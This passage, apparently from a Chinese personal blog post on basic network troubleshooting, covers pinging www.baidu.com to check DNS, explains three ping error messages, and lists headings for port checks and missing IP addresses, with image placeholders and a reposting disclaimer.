4、ping外网域名(www.baidu.com)   #(DNS是否设置成功)

ping 不同可能出现的3种情况
Destination Host Unreachable    主机不可达,目标地址不存在或者主机下线
Network is unreachable  到达目的主机没有可用的路由
Request timeout 数据包相应缓慢或丢失

探测端口是否可用

image-20220623140002116

image-20220623140006690

获取不到IP地址

image-20220623140016672

image-20220623140030574

免责声明:本文部分内容转自网络文章,转载此文章仅为个人收藏,分享知识,如有侵权,请联系博主进行删除。